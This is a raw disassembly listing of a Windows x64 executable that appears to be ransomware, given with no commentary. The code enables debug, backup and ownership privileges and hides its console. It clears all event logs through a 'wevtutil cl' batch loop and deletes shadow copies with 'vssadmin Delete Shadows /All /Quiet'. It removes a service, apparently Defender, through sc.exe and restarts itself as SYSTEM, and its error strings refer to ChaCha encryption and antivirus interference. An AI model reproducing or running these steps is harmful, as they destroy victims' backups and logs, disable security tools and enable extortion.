mov rcx, qword [rsp + 0x250]
call fcn.140073240
jmp 0x140004e80
lea rcx, str.SeDebugPrivilege
mov edx, 1
call fcn.14004deb0
lea rcx, str.SeRestorePrivilege
mov edx, 1
call fcn.14004deb0
lea rcx, str.SeBackupPrivilege
mov edx, 1
call fcn.14004deb0
lea rcx, str.SeTakeOwnershipPrivilege
mov edx, 1
call fcn.14004deb0
lea rcx, str.SeBackupPrivilege
mov edx, 1
call fcn.14004deb0
lea rcx, str.SeAuditPrivilege
mov edx, 1
call fcn.14004deb0
lea rcx, str.SeSecurityPrivilege
mov edx, 1
call fcn.14004deb0
movzx ebx, byte [0x1402da388]
mov ecx, ebx
and cl, 1
je 0x1400059fe
mov rbx, qword [0x1402da390]
jmp 0x140005a01
shr rbx, 1
lea rsi, [rbx + 0x13]
movabs rax, 0x7fffffffffffffef
cmp rsi, rax
ja 0x14000aa0b
cmp rsi, 0xa
ja 0x140005a46
pxor xmm0, xmm0
movdqa xmmword [rsp + 0xed0], xmm0
mov qword [rsp + 0xee0], 0
add sil, sil
mov byte [rsp + 0xed0], sil
xor edi, edi
jmp 0x140005a8b
mov r14, rsi
or r14, 7
inc r14
js 0x14000abaa
lea rcx, [r14 + r14]
call fcn.1400731c0
mov rdi, rax
or r14, 1
mov qword [rsp + 0xed0], r14
mov qword [rsp + 0xee0], rax
mov qword [rsp + 0xed8], rsi
movzx ecx, byte [0x1402da388]
and cl, 1
mov esi, r14d
test sil, 1
lea rsi, [rsp + 0xed2]
cmove rdi, rsi
test cl, cl
je 0x140005aa8
mov rdx, qword [0x1402da398]
jmp 0x140005aaf
lea rdx, [0x1402da38a]
lea r8, [rbx + rbx]
mov rcx, rdi
call sub.msvcrt.dll_memmove
movabs r13, 0x730065006c0063
mov qword [rdi + rbx*2 + 0x1e], r13
movdqu xmm6, xmmword [str.programdata_secles]
movdqu xmmword [rdi + rbx*2], xmm6
movdqu xmm10, xmmword [0x140259960]
movdqu xmmword [rdi + rbx*2 + 0x10], xmm10
mov word [rdi + rbx*2 + 0x26], 0
lea rdx, str.posi.txt
lea rcx, [rsp + 0xed0]
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x8b0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x8a0], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0x8a0], 1
je 0x140005b3f
mov rcx, qword [rsp + 0x8b0]
jmp 0x140005b47
lea rcx, [rsp + 0x8a2]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140005be7
lea rdx, [rsp + 0x530]
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_GetFileSizeEx]
mov ebx, 0xffffffff
cmp qword [rsp + 0x530], 4
jne 0x140005bdc
mov dword [rsp + 0x110], 0
mov qword [rsp + 0x20], 0
lea rdx, [rsp + 0x240]
lea r9, [rsp + 0x110]
mov rcx, rdi
mov r8d, 4
call qword [sym.imp.KERNEL32.DLL_ReadFile]
xor ebx, ebx
cmp eax, 1
sbb ebx, ebx
or ebx, dword [rsp + 0x240]
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x140005bec
mov ebx, 0xffffffff
inc ebx
mov dword [0x1402da440], ebx
mov dword [0x1402da468], ebx
test byte [rsp + 0x8a0], 1
je 0x140005c11
mov rcx, qword [rsp + 0x8b0]
call fcn.140073240
test byte [rsp + 0xed0], 1
je 0x140005c28
mov rcx, qword [rsp + 0xee0]
call fcn.140073240
movzx ebx, byte [0x1402da388]
mov eax, ebx
and al, 1
je 0x140005c3e
mov rbx, qword [0x1402da390]
jmp 0x140005c41
shr rbx, 1
lea r14, [rbx + 0x13]
movabs rcx, 0x7fffffffffffffef
cmp r14, rcx
ja 0x14000aa18
cmp r14, 0xa
ja 0x140005c86
pxor xmm0, xmm0
movdqa xmmword [rsp + 0xed0], xmm0
mov qword [rsp + 0xee0], 0
add r14b, r14b
mov byte [rsp + 0xed0], r14b
xor edi, edi
jmp 0x140005cca
mov r15, r14
or r15, 7
inc r15
js 0x14000abaf
lea rcx, [r15 + r15]
call fcn.1400731c0
mov rdi, rax
or r15, 1
mov qword [rsp + 0xed0], r15
mov qword [rsp + 0xee0], rax
mov qword [rsp + 0xed8], r14
movzx eax, byte [0x1402da388]
and al, 1
mov r14d, r15d
test r14b, 1
cmove rdi, rsi
test al, al
je 0x140005cdf
mov rdx, qword [0x1402da398]
jmp 0x140005ce6
lea rdx, [0x1402da38a]
lea r8, [rbx + rbx]
mov rcx, rdi
call sub.msvcrt.dll_memmove
mov qword [rdi + rbx*2 + 0x1e], r13
movdqu xmmword [rdi + rbx*2], xmm6
movdqu xmmword [rdi + rbx*2 + 0x10], xmm10
mov word [rdi + rbx*2 + 0x26], 0
lea rdx, str._runs.txt
lea rcx, [rsp + 0xed0]
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x890], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x880], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0x880], 1
je 0x140005d5b
mov rcx, qword [rsp + 0x890]
jmp 0x140005d63
lea rcx, [rsp + 0x882]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140005e55
lea rdx, [rsp + 0x530]
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_GetFileSizeEx]
mov ebx, 0xffffffff
cmp qword [rsp + 0x530], 6
jne 0x140005e31
mov dword [rsp + 0x110], 0
mov qword [rsp + 0x20], 0
lea rdx, [rsp + 0x240]
lea r9, [rsp + 0x110]
mov rcx, rdi
mov r8d, 6
call qword [sym.imp.KERNEL32.DLL_ReadFile]
mov ebx, 0xffffffff
cmp dword [rsp + 0x530], 6
jne 0x140005e31
movzx eax, word [rsp + 0x240]
movzx ecx, word [rsp + 0x242]
mov edx, ecx
xor edx, 0xc
cmp ax, dx
jne 0x140005e31
movzx edx, word [rsp + 0x244]
xor edx, 0xe4
cmp cx, dx
jne 0x140005e31
xor eax, 0x93
mov ebx, eax
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
test byte [rsp + 0x880], 1
jne 0x140005e64
test byte [rsp + 0xed0], 1
jne 0x140005e7b
cmp ebx, 1
jle 0x140005e8d
jmp 0x140005e97
mov ebx, 0xffffffff
test byte [rsp + 0x880], 1
je 0x140005e44
mov rcx, qword [rsp + 0x890]
call fcn.140073240
test byte [rsp + 0xed0], 1
je 0x140005e4e
mov rcx, qword [rsp + 0xee0]
call fcn.140073240
cmp ebx, 1
jg 0x140005e97
mov ecx, 1
call fcn.14004de70
mov ecx, 6
call fcn.140073230
mov rdi, rax
inc ebx
mov eax, ebx
xor eax, 0x93
mov word [rdi], ax
mov eax, ebx
xor eax, 0x9f
mov word [rdi + 2], ax
xor ebx, 0x7b
mov word [rdi + 4], bx
movzx r14d, byte [0x1402da388]
mov eax, r14d
and al, 1
je 0x140005eda
mov r14, qword [0x1402da390]
jmp 0x140005edd
shr r14, 1
lea r15, [r14 + 0x13]
movabs rcx, 0x7fffffffffffffef
cmp r15, rcx
ja 0x14000aa25
cmp r15, 0xa
ja 0x140005f22
pxor xmm0, xmm0
movdqa xmmword [rsp + 0xed0], xmm0
mov qword [rsp + 0xee0], 0
add r15b, r15b
mov byte [rsp + 0xed0], r15b
xor ebx, ebx
jmp 0x140005f66
mov r12, r15
or r12, 7
inc r12
js 0x14000abb4
lea rcx, [r12 + r12]
call fcn.1400731c0
mov rbx, rax
or r12, 1
mov qword [rsp + 0xed0], r12
mov qword [rsp + 0xee0], rax
mov qword [rsp + 0xed8], r15
movzx eax, byte [0x1402da388]
and al, 1
mov r15d, r12d
test r15b, 1
cmove rbx, rsi
test al, al
je 0x140005f7b
mov rdx, qword [0x1402da398]
jmp 0x140005f82
lea rdx, [0x1402da38a]
lea r8, [r14 + r14]
mov rcx, rbx
call sub.msvcrt.dll_memmove
mov qword [rbx + r14*2 + 0x1e], r13
movdqu xmmword [rbx + r14*2], xmm6
movdqu xmmword [rbx + r14*2 + 0x10], xmm10
mov word [rbx + r14*2 + 0x26], 0
lea rdx, str._runs.txt
lea rcx, [rsp + 0xed0]
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x870], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x860], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0x860], 1
je 0x140005ff9
mov rcx, qword [rsp + 0x870]
jmp 0x140006001
lea rcx, [rsp + 0x862]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
mov edx, 0xc0000000
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x140006074
mov dword [rsp + 0x530], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x530]
mov rcx, r14
mov rdx, rdi
mov r8d, 6
call qword [sym.imp.KERNEL32.DLL_WriteFile]
mov rcx, r14
call qword [sym.imp.KERNEL32.DLL_FlushFileBuffers]
mov rcx, r14
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
test byte [rsp + 0x860], 1
je 0x14000608b
mov rcx, qword [rsp + 0x870]
call fcn.140073240
test byte [rsp + 0xed0], 1
je 0x1400060a2
mov rcx, qword [rsp + 0xee0]
call fcn.140073240
call qword [sym.imp.KERNEL32.DLL_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
test byte [0x1402d73d0], 1
je 0x1400060c5
mov rcx, qword [0x1402d73e0]
jmp 0x1400060cc
lea rcx, [0x1402d73d2]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
mov edx, 1
mov r8d, 7
xor r9d, r9d
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
mov r14, rax
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov edi, eax
lea rdx, [rsp + 0x3ac]
mov rcx, r14
call qword [sym.imp.KERNEL32.DLL_GetFileSize]
mov edx, eax
lea rcx, [0x1402da570]
xor r8d, r8d
call fcn.140075670
movzx eax, byte [0x1402da570]
mov r8, rax
shr r8, 1
test al, 1
lea rdx, [0x1402da571]
cmovne rdx, qword [0x1402da580]
cmovne r8d, dword [0x1402da578]
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x3ac]
mov rcx, r14
call qword [sym.imp.KERNEL32.DLL_ReadFile]
cmp dword [rsp + 0x3ac], 0
je 0x14000aa32
mov dword [rsp + 0x7ac], 1
mov byte [rsp + 0xcf], 0
mov byte [rsp + 0x8e], 0
movzx ebx, byte [0x1402da388]
mov eax, ebx
and al, 1
je 0x1400061a5
mov rbx, qword [0x1402da390]
jmp 0x1400061a8
shr rbx, 1
lea r14, [rbx + 0x13]
movabs rcx, 0x7fffffffffffffef
cmp r14, rcx
ja 0x14000ab3d
cmp r14, 0xa
ja 0x1400061ed
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x530], xmm0
mov qword [rsp + 0x540], 0
add r14b, r14b
mov byte [rsp + 0x530], r14b
xor edi, edi
jmp 0x140006231
mov r15, r14
or r15, 7
inc r15
js 0x14000abb9
lea rcx, [r15 + r15]
call fcn.1400731c0
mov rdi, rax
or r15, 1
mov qword [rsp + 0x530], r15
mov qword [rsp + 0x540], rax
mov qword [rsp + 0x538], r14
movzx eax, byte [0x1402da388]
and al, 1
mov r14d, r15d
test r14b, 1
lea rcx, [rsp + 0x532]
cmove rdi, rcx
test al, al
je 0x14000624e
mov rdx, qword [0x1402da398]
jmp 0x140006255
lea rdx, [0x1402da38a]
lea r8, [rbx + rbx]
mov rcx, rdi
call sub.msvcrt.dll_memmove
mov qword [rdi + rbx*2 + 0x1e], r13
movdqu xmmword [rdi + rbx*2], xmm6
movdqu xmmword [rdi + rbx*2 + 0x10], xmm10
mov word [rdi + rbx*2 + 0x26], 0
lea rdx, str.ids
lea rcx, [rsp + 0x530]
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xee0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xed0], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0xed0], 1
je 0x1400062c8
mov rsi, qword [rsp + 0xee0]
mov rcx, rsi
call fcn.14004e0c0
test byte [rsp + 0xed0], 1
je 0x1400062e7
mov rcx, qword [rsp + 0xee0]
call fcn.140073240
test byte [rsp + 0x530], 1
je 0x1400062fe
mov rcx, qword [rsp + 0x540]
call fcn.140073240
movzx edi, byte [0x1402da388]
mov eax, edi
and al, 1
je 0x140006314
mov rdi, qword [0x1402da390]
jmp 0x140006317
shr rdi, 1
lea rbx, [rdi + 0x13]
movabs rcx, 0x7fffffffffffffef
cmp rbx, rcx
ja 0x14000ab4a
cmp rbx, 0xa
ja 0x14000635a
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x530], xmm0
mov qword [rsp + 0x540], 0
add bl, bl
mov byte [rsp + 0x530], bl
xor esi, esi
jmp 0x14000639e
mov r14, rbx
or r14, 7
inc r14
js 0x14000abbe
lea rcx, [r14 + r14]
call fcn.1400731c0
mov rsi, rax
or r14, 1
mov qword [rsp + 0x530], r14
mov qword [rsp + 0x540], rax
mov qword [rsp + 0x538], rbx
movzx eax, byte [0x1402da388]
and al, 1
mov ebx, r14d
test bl, 1
lea rcx, [rsp + 0x532]
cmove rsi, rcx
test al, al
je 0x1400063ba
mov rdx, qword [0x1402da398]
jmp 0x1400063c1
lea rdx, [0x1402da38a]
lea r8, [rdi + rdi]
mov rcx, rsi
call sub.msvcrt.dll_memmove
mov qword [rsi + rdi*2 + 0x1e], r13
movdqu xmmword [rsi + rdi*2], xmm6
movdqu xmmword [rsi + rdi*2 + 0x10], xmm10
mov word [rsi + rdi*2 + 0x26], 0
lea rdx, str.ids
lea rcx, [rsp + 0x530]
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xee0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xed0], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0xed0], 1
je 0x140006436
mov rcx, qword [rsp + 0xee0]
jmp 0x14000643e
lea rcx, [rsp + 0xed2]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
mov r8d, 1
xor r9d, r9d
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
mov rsi, rax
test byte [rsp + 0xed0], 1
je 0x140006485
mov rcx, qword [rsp + 0xee0]
call fcn.140073240
test byte [rsp + 0x530], 1
je 0x14000649c
mov rcx, qword [rsp + 0x540]
call fcn.140073240
lea rax, [rsi + 1]
cmp rax, 2
jae 0x140006595
lea rcx, [0x1402da2f8]
mov edx, 0x14
xor r8d, r8d
call fcn.140075670
lea rdx, [0x1402da2f8]
lea rcx, [rsp + 0xed0]
call fcn.1400747e0
test byte [0x1402da2f8], 1
je 0x1400064e4
mov rdx, qword [0x1402da308]
jmp 0x1400064eb
lea rdx, [0x1402da2f9]
lea rcx, [rsp + 0x740]
mov r8d, 0x14
call fcn.14005c780
movzx eax, byte [0x1402da2f8]
test al, 1
sete cl
je 0x140006515
mov rdx, qword [0x1402da308]
jmp 0x14000651c
lea rdx, [0x1402da2f9]
lea rsi, [rsp + 0xed1]
test byte [rsp + 0xed0], 1
mov r8, rsi
je 0x140006539
mov r8, qword [rsp + 0xee0]
movdqu xmm0, xmmword [rdx]
movdqu xmm1, xmmword [r8]
pcmpeqb xmm1, xmm0
movd xmm0, dword [rdx + 0x10]
movd xmm2, dword [r8 + 0x10]
pcmpeqb xmm2, xmm0
pand xmm2, xmm1
pmovmskb r8d, xmm2
cmp r8d, 0xffff
jne 0x14000679f
lea rcx, [rsp + 0x740]
mov r8d, 0x14
call fcn.14005c780
movzx eax, byte [0x1402da2f8]
test al, 1
sete cl
je 0x140006600
mov rdx, qword [0x1402da308]
jmp 0x140006607
mov rcx, rsi
xor edx, edx
call qword [sym.imp.KERNEL32.DLL_GetFileSize]
mov edi, eax
mov edx, eax
lea rcx, [0x1402da2f8]
xor r8d, r8d
call fcn.140075670
test byte [0x1402da2f8], 1
je 0x1400065c5
mov rdx, qword [0x1402da308]
jmp 0x1400065cc
lea rdx, [0x1402da2f9]
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0xed0]
mov rcx, rsi
mov r8d, edi
call qword [sym.imp.KERNEL32.DLL_ReadFile]
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
cmp edi, 0x14
jne 0x1400064aa
jmp 0x140006d73
lea rdx, [0x1402da2f9]
test byte [rsp + 0xed0], 1
mov r8, rsi
je 0x14000661c
mov r8, qword [rsp + 0xee0]
movdqu xmm0, xmmword [rdx]
movdqu xmm1, xmmword [r8]
pcmpeqb xmm1, xmm0
movd xmm0, dword [rdx + 0x10]
movd xmm2, dword [r8 + 0x10]
pcmpeqb xmm2, xmm0
pand xmm2, xmm1
pmovmskb r8d, xmm2
cmp r8d, 0xffff
jne 0x14000679f
sar rdi, 3
shr r11, 3
inc r11
mov rbx, r11
and rbx, 0xfffffffffffffffc
lea r14, [rbx*8]
mov r10, rdx
sub r10, r14
mov rsi, rcx
sub rsi, r14
lea rax, [rax + rdi*8]
add rax, 0xfffffffffffffff0
mov rdi, rbx
neg rdi
xor r14d, r14d
nop
movdqu xmm0, xmmword [rcx + r14*8 - 0x20]
movdqu xmm1, xmmword [rcx + r14*8 - 0x10]
movdqu xmmword [rax + r14*8], xmm1
movdqu xmmword [rax + r14*8 - 0x10], xmm0
add r14, 0xfffffffffffffffc
cmp rdi, r14
jne 0x1400066b0
cmp r11, rbx
jne 0x140002e50
jmp 0x140002e65
test cl, cl
jne 0x1400067b4
mov rax, qword [0x1402da300]
test rax, rax
jne 0x1400067c2
jmp 0x140006a8d
shr al, 1
movzx eax, al
test rax, rax
je 0x140006a8d
mov r8, rdx
cmp rax, 8
jb 0x14000a7ec
movzx edi, byte [0x1402da388]
mov eax, edi
and al, 1
je 0x140006aa3
movzx esi, byte [0x1402da2f8]
test sil, 1
je 0x140006d90
mov rdi, qword [0x1402da308]
mov rsi, qword [0x1402da300]
jmp 0x140006d9a
shr rsi, 1
lea rdi, [0x1402da2f9]
movabs rax, 0x7fffffffffffffef
cmp rsi, rax
ja 0x14000ab57
cmp rsi, 0xb
jae 0x140006dd2
lea eax, [rsi + rsi]
mov byte [rsp + 0xed0], al
lea rax, [rsp + 0xed2]
mov rdx, rax
test rsi, rsi
jne 0x140006e07
jmp 0x140006f9e
mov rbx, rsi
or rbx, 7
inc rbx
js 0x14000abc3
lea rcx, [rbx + rbx]
call fcn.1400731c0
mov qword [rsp + 0xee0], rax
or rbx, 1
mov qword [rsp + 0xed0], rbx
mov qword [rsp + 0xed8], rsi
lea rcx, [rdi + rsi]
cmp rsi, 0x10
jb 0x140006e27
cmp rax, rcx
jae 0x140006f42
mov rdx, rax
mov r8, rdi
mov r9d, ecx
sub r9d, r8d
mov rax, r8
not rax
add rax, rcx
and r9, 7
je 0x140006e64
mov word [rdx], 0
test byte [rsp + 0xed0], 1
je 0x140006fb7
lea rcx, [rsp + 0xed0]
call fcn.140035730
lea rcx, [rsp + 0xed0]
call fcn.140002b00
lea rcx, [rsp + 0x530]
call fcn.140002b00
lea rcx, [rsp + 0xed0]
call fcn.140035730
call fcn.140002ba0
call fcn.140002ba0
lea rcx, [rsp + 0x110]
call fcn.140002b00
call fcn.140002ba0
xor ecx, ecx
call fcn.14004e1a0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r8, [0x140014ee0]
mov edx, 0x40000
xor ecx, ecx
xor r9d, r9d
call qword [sym.imp.KERNEL32.DLL_CreateThread]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r8, [0x140017530]
mov edx, 0x40000
xor ecx, ecx
xor r9d, r9d
call qword [sym.imp.KERNEL32.DLL_CreateThread]
mov r12d, r13d
lea rdx, str.for__f___x_in__wevtutil_el__do_wevtutil_cl____x_
lea rcx, [rsp + 0x70]
call fcn.140012b20
lea rdx, str.c:windowslogg.bat
lea rcx, [rsp + 0xc88]
call fcn.140012a70
movzx r8d, byte [rsp + 0x70]
lea rbx, [rsp + 0x71]
test r8b, 1
je 0x14000acbe
mov rdx, qword [rsp + 0x80]
mov r8, qword [rsp + 0x78]
jmp 0x14000acc4
lea rcx, [rsp + 0x110]
call fcn.140002b00
xor ecx, ecx
call fcn.14004de70
lea rcx, str.restarting_as_system
mov dl, 1
call fcn.140011c60
lea rax, [rsp + 0x240]
mov qword [rsp + 0x20], rax
lea rdx, [0x1402da388]
lea rcx, [rsp + 0x530]
mov r8d, 4
mov r9, 0xffffffffffffffff
call fcn.140075cf0
lea rdx, str.windows_system32_sc.exe
lea rcx, [rsp + 0x530]
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xee0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xed0], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0xed0], 1
je 0x14000ac4a
mov rsi, qword [rsp + 0xee0]
jmp 0x14000ac52
lea rcx, str.chacha_failed__please_run_x64_version_or_restart
mov dl, 1
call fcn.140011c60
xor ecx, ecx
call fcn.14004de70
jmp 0x14001181b
lea rcx, [rsp + 0xed0]
call fcn.140002b00
lea rcx, [rsp + 0xed0]
call fcn.140002b00
lea rcx, [rsp + 0xed0]
call fcn.140002b00
lea rcx, [rsp + 0x70]
mov edx, edi
call fcn.140076dc0
lea r8, str.could_not_read_itself_error:
lea rcx, [rsp + 0x70]
xor edx, edx
call fcn.140075dd0
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x120], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x110], xmm0
pxor xmm6, xmm6
movdqu xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rdx, [0x1402599da]
lea rcx, [rsp + 0x110]
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x250], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x240], xmm0
movdqu xmmword [rax], xmm6
mov qword [rax + 0x10], 0
call qword [sym.imp.KERNEL32.DLL_GetLastError]
lea rcx, [rsp + 0x90]
mov edx, eax
call fcn.140076dc0
lea rcx, [rsp + 0x530]
lea rdx, [rsp + 0x240]
lea r8, [rsp + 0x90]
call fcn.140012820
lea rdx, str.__terminating
lea rcx, [rsp + 0x530]
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xee0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xed0], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0xed0], 1
je 0x14000aedc
mov rcx, qword [rsp + 0xee0]
jmp 0x14000aee4
lea rcx, [rsp + 0x530]
call fcn.140002b00
lea rcx, [rsp + 0x530]
call fcn.140002b00
lea rcx, [rsp + 0xed0]
call fcn.140002b00
lea rcx, [rsp + 0x110]
call fcn.140002b00
lea rcx, [rsp + 0x530]
call fcn.140002b00
lea rcx, [rsp + 0x240]
call fcn.140002b00
lea rcx, [rsp + 0x530]
call fcn.140002b00
lea rcx, [rsp + 0x530]
call fcn.140002b00
call fcn.140002ba0
call fcn.140002ba0
call fcn.140002ba0
call fcn.140002ba0
call fcn.140002ba0
call fcn.140002ba0
call fcn.140002ba0
call fcn.140002ba0
call fcn.140002ba0
call fcn.140002ba0
call fcn.140002ba0
call fcn.140002ba0
lea rcx, [rsp + 0x240]
call fcn.140002b00
lea rcx, [rsp + 0x530]
call fcn.140002b00
lea rcx, [rsp + 0x530]
call fcn.140002b00
call fcn.140002ba0
call fcn.140002ba0
call fcn.140002ba0
lea rcx, [rsp + 0x740]
mov r8d, 0x14
call fcn.14005c780
lea rcx, str.cant_genrate_id___possible_reason_is_your_av__manipulatin___disable_and_retry
mov dl, 1
call fcn.140011c60
xor ecx, ecx
call fcn.14004de70
mov ecx, 0xd903
call qword [sym.imp.KERNEL32.DLL_ExitProcess]
lea rsi, [rsp + 0xed2]
lea rdx, str.delete
lea rcx, [rsp + 0x110]
call fcn.140012a70
lea rdx, str.defser
lea rcx, [rsp + 0x110]
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x250], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x240], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0x240], 1
je 0x14000ad9b
mov rdx, qword [rsp + 0x250]
jmp 0x14000ada3
shr r8, 1
mov rdx, rbx
lea rcx, [rsp + 0xc88]
mov r9d, 4
call fcn.140002c20
test byte [rsp + 0xc88], 1
je 0x14000acee
mov rcx, qword [rsp + 0xc98]
call fcn.140073240
mov qword [rsp + 0x28], 0
mov byte [rsp + 0x20], 0
lea rcx, str.c:windows_system32cmd.exe
lea rdx, str._c_c:windowslogg.bat
mov r8b, 1
xor r9d, r9d
call fcn.1400579b0
lea rax, [rsp + 0x240]
mov qword [rsp + 0x20], rax
lea rdx, [0x1402da388]
lea rcx, [rsp + 0x530]
mov r8d, 4
mov r9, 0xffffffffffffffff
call fcn.140075cf0
lea rdx, str.Windows_system32_vssadmin.exe
lea rcx, [rsp + 0x530]
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xee0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xed0], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0xed0], 1
je 0x14000afaf
mov rcx, qword [rsp + 0xee0]
jmp 0x14000afb7
lea rdx, [rsp + 0x242]
mov qword [rsp + 0x28], 0
mov byte [rsp + 0x20], 1
mov rcx, rsi
mov r8b, 1
xor r9d, r9d
call fcn.1400579b0
test byte [rsp + 0x240], 1
jne 0x14000ae86
test byte [rsp + 0x110], 1
jne 0x14000aea1
test byte [rsp + 0xed0], 1
jne 0x14000aebc
test byte [rsp + 0x530], 1
je 0x14000ae00
mov rcx, qword [rsp + 0x540]
call fcn.140073240
lea rax, [rsp + 0x240]
mov qword [rsp + 0x20], rax
lea rdx, [0x1402da388]
lea rcx, [rsp + 0x530]
mov r8d, 4
mov r9, 0xffffffffffffffff
call fcn.140075cf0
lea rdx, str.windows_system32_sc.exe
lea rcx, [rsp + 0x530]
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xee0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xed0], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0xed0], 1
je 0x14000b444
mov rsi, qword [rsp + 0xee0]
jmp 0x14000b44c
mov rcx, qword [rsp + 0x250]
call fcn.140073240
test byte [rsp + 0x110], 1
je 0x14000addb
mov rcx, qword [rsp + 0x120]
call fcn.140073240
test byte [rsp + 0xed0], 1
je 0x14000ade9
mov rcx, qword [rsp + 0xee0]
call fcn.140073240
test byte [rsp + 0x530], 1
jne 0x14000adf3
jmp 0x14000ae00
lea rcx, [rsp + 0xed2]
mov dl, 1
call fcn.140011c60
test byte [rsp + 0xed0], 1
jne 0x14000af39
test byte [rsp + 0x530], 1
jne 0x14000af50
test byte [rsp + 0x90], 1
jne 0x14000af67
test byte [rsp + 0x240], 1
jne 0x14000af7e
test byte [rsp + 0x110], 1
jne 0x14000af95
test byte [rsp + 0x70], 1
je 0x14000af31
mov rcx, qword [rsp + 0x80]
call fcn.140073240
mov ecx, edi
call qword [sym.imp.KERNEL32.DLL_ExitProcess]
mov rcx, qword [rsp + 0xee0]
call fcn.140073240
test byte [rsp + 0x530], 1
je 0x14000aeff
mov rcx, qword [rsp + 0x540]
call fcn.140073240
test byte [rsp + 0x90], 1
je 0x14000af09
mov rcx, qword [rsp + 0xa0]
call fcn.140073240
test byte [rsp + 0x240], 1
je 0x14000af13
mov rcx, qword [rsp + 0x250]
call fcn.140073240
test byte [rsp + 0x110], 1
je 0x14000af1d
mov rcx, qword [rsp + 0x120]
call fcn.140073240
test byte [rsp + 0x70], 1
jne 0x14000af24
jmp 0x14000af31
lea rcx, [rsp + 0xed2]
mov qword [rsp + 0x28], 0
mov byte [rsp + 0x20], 0
lea rdx, str.Delete_Shadows__All__Quiet
mov r8b, 1
xor r9d, r9d
call fcn.1400579b0
test byte [rsp + 0xed0], 1
je 0x14000afee
mov rcx, qword [rsp + 0xee0]
call fcn.140073240
test byte [rsp + 0x530], 1
je 0x14000b005
mov rcx, qword [rsp + 0x540]
call fcn.140073240
mov qword [rsp + 0x28], 0
mov byte [rsp + 0x20], 0
